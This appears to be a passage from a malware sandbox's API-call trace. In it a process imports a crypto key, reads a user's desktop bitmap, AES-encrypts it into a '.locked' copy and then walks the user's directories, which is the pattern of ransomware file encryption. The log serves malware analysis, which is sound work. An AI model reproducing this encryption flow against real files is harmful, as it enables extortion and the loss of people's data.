SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.674] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.674] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.674] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.674] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.675] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0128.675] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0128.675] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0128.675] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0128.675] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0128.675] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.675] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0128.675] SystemFunction041 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.676] SystemFunction040 (in: Memory=0x8e70384, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e70384) returned 0x0 [0128.676] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.676] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.676] SystemFunction041 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.677] SystemFunction040 (in: Memory=0x8e3119c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3119c) returned 0x0 [0128.677] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x4396570) returned 1 [0128.678] CryptImportKey (in: hProv=0x4396570, pbData=0x6917294, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84a78) returned 1 [0128.678] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.678] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\x718c\x691") returned 0x0 [0128.678] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.678] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.678] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.679] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0128.679] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0128.679] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.680] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.680] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.681] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.681] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.681] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.681] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.682] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.682] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0128.683] GetFileType (hFile=0x874) returned 0x1 [0128.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.683] GetFileType (hFile=0x874) returned 0x1 [0128.683] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.683] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0128.683] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.683] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.683] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.684] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", lpFilePart=0x0) returned 0x3d [0128.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0128.684] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0128.685] GetFileType (hFile=0x868) returned 0x1 [0128.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0128.685] GetFileType (hFile=0x868) returned 0x1 [0128.685] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.685] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x692d9ac | out: pbBuffer=0x692d9ac) returned 1 [0128.686] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.686] CryptDuplicateKey (in: hKey=0x8e84a78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e85138) returned 1 [0128.686] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.686] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x4, pbData=0x692ec68*=0x1, dwFlags=0x0) returned 1 [0128.686] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x1, pbData=0x692ec34, dwFlags=0x0) returned 1 [0128.687] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xe2f0\x99a\x18b2\x7477\x1a70\x438\x24a") returned 0x0 [0128.687] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.687] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x9f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.687] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.688] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.688] ReadFile (in: hFile=0x874, lpBuffer=0x693228c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x693228c*, lpNumberOfBytesRead=0x99ae6cc*=0x145d, lpOverlapped=0x0) returned 1 [0128.688] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6946298*, pdwDataLen=0x99ae6c0*=0x1450, dwBufLen=0x1450 | out: pbData=0x6946298*, pdwDataLen=0x99ae6c0*=0x1450) returned 1 [0128.688] WriteFile (in: hFile=0x868, lpBuffer=0x692da6c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x692da6c*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0128.689] ReadFile (in: hFile=0x874, lpBuffer=0x693228c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x693228c*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0128.689] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x694770c*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x694770c*, pdwDataLen=0x99ae714*=0x10) returned 1 [0128.689] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6947740*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6947740*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0128.689] WriteFile (in: hFile=0x868, lpBuffer=0x692da6c*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x692da6c*, lpNumberOfBytesWritten=0x99ae6ec*=0x474, lpOverlapped=0x0) returned 1 [0128.689] CloseHandle (hObject=0x868) returned 1 [0128.690] CloseHandle (hObject=0x874) returned 1 [0128.690] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.691] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.691] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.691] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa0, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.691] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.692] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0128.692] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.692] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.693] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0128.693] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.693] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.693] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.693] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0128.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 